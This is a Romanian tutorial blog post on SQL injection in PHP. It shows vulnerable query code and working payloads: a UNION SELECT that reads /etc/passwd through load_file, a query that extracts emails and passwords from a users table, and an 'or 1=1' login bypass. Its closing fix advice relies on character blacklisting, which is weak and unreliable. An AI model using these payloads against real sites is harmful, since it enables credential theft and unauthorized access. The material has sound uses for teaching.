Vulnerabilitati PHP –  SQL Injection - Securitatea Informatica

Vulnerabilitati PHP – SQL Injection

1. Dacă utilizatorul MySQL are drepturi, putem citii fişiere.
2. Dacă utilizatorul MySQL are drepturi, găsim un director cu permisiuni de scriere şi dacă magic_quotes_gpc = off putem uploada codul nostru într-un fişier.

1. Exemplu de bază

Cod:

<?php
$id = $_GET['id'];
$result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
?>

Variablia “id” nu este securizată. Putem injecta codul nostru SQL în variabila “id”. Exemplu:

http://127.0.0.1/test.php?id=1+union+all+select+1,null,load_file(’etc/passwd’),4–

şi vom obţine conţinutul fişierului “etc/passwd” dacă magic_qoutes=off (escapeaza ‘) şi dacă userul MySQL are privilegii asupra fişierelor. Dacă magic_qoutes=on convertim etc/passwd la hex.

2. Exemplu simplu

Cod:

<?php
$id = $_GET['itemnr'];
require_once($home."mysqlinfo.php");
$query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id";
$result = mysql_query($query);
if(mysql_num_rows($result))
{
$r = mysql_fetch_array($result);
}
?>

Putem observa că variabila “id” ia valoarea setată pentru “itemnr” şi nu este filtrată în nici un fel. Deci putem injecta codul nostru. Să facem o cerere:

http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0×3a,email,password),5,6,7,8,9,10+from+users–

şi vom extrage un email şi o parolă din tabelul users.

3.  SQL Injection Login Bypass

Cod:

<?php
$postbruger = $_POST['username'];
$postpass = md5($_POST['password']);
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'")
or die("" . mysql_error() . "n");
?>

Variabilele nu sunt verificate corespunzător. Putem trece de acest form de logare. Să injectăm următorul username şi următoarea parolă:

username : admin ‘ or ‘ 1=1
password : sirgod

Ne-am logat cu succes. De ce? Priviţi cu atenţie la interogarea SQL :

$resultat = mysql_query(”SELECT * FROM ” . $tablestart . “login WHERE brugernavn = ‘admin’ ‘ or ‘ 1=1 AND password = ’sirgod’”)

Am trecut de login.Username-ul trebuie să fie unul existent.

4. Cum să fixezi
Metoda simplă : Nu permite caractere speciale în variabile. Pentru variabile numerice foloseşte (int), exemplu $id=(int) $_GET['id'];
Altă metodă: Pentru variabilele non-numerice: filtrează toate caracterele speciale folosite în injecţiile SQL/SQLI : – , . ( ) ‘ ” _ + / *

Sursa: SirGod

Twitter Digg Delicious Stumbleupon Technorati Facebook


Nici un comentariu inca... Fii primul care lasa un comentariu!

Lasa un raspuns

This site is protected by Comment SPAM Wiper. This site is protected by WP-CopyRightPro